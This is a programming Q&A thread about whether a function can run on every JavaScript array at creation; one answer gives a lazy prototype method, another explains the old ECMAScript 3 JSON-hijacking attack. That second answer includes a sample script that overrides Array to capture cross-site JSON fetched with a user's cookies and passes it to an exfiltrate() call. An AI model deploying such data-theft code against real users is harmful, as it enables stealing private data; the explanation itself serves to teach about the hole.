Is it possible to carry out a function every time an Array is created?

Question

When an array is created, I need a function to be called on that array automatically. I figured this would be possible using the Array's prototype / constructor somehow, but I'm at a loss as to how to solve this problem.

So I have an Array, which I initialise:

var arr = [1, 2, 3];

Now let's say I have a function like so:

Array.prototype.objectArray = function() {
    var result = this.every(function(elem) {
        return typeof elem == "object";
    });
    this.isObjectArray = result;
}

So in this case, calling the function on this array would assign its isObjectArray parameter to false.

However, what I want is for this function to run on the array every time an array is created, automatically, so that by default every array has its isObjectArray property set. Is this possible?

Thanks in advance!

Answer 1

To my knowledge it is not possible, but you can define a function that lazily computes whether the array only contains objects:

Array.prototype.isObjectArray = function () {
  if (typeof(this.__isObjectArray) === 'undefined') {
    this.__isObjectArray = this.every(function(elem) {
      return typeof elem == "object";
    });
  }
  
  return this.__isObjectArray;
};


var a = [1, 2, 3];
var b = [[], {}];

alert("a: " + a.isObjectArray() + ", b: " + b.isObjectArray());

The above code only does the computation once (the first time it's requested) and on subsequent calls it only returns the already computed value.

Also, if you create arrays on which you do not call isObjectArray(), the computation is never done.

Answer 2

No. This was possible under EcmaScript 3 by overriding Array, but this opened up a number of nasty security holes like Jeremiah Grossman's contact list exfiltration attack against Gmail, so it's unlikely that any similar feature will be introduced.

If an attacker can cause a user to visit a page then they can do something like:

<script>
var arrayStolenFromJSONWebAPI;
var originalArray = Array;
Array = function () {
  var arr = new originalArray();
  originalArray.prototype.push.apply(arr, arguments);
  if (!arrayStolenFromJSONWebAPI) {
    arrayStolenFromJSONWebAPI = arr;
  }
  return arr;
}
</script>
<!-- XSRF attack that loads JSON requested with user's cookies -->
<script src="http://foo.com/web_api_in_same_origin_that_returns_json"></script>
<script>
exfiltrate(arrayStolenFromJSONWebAPI);
</script>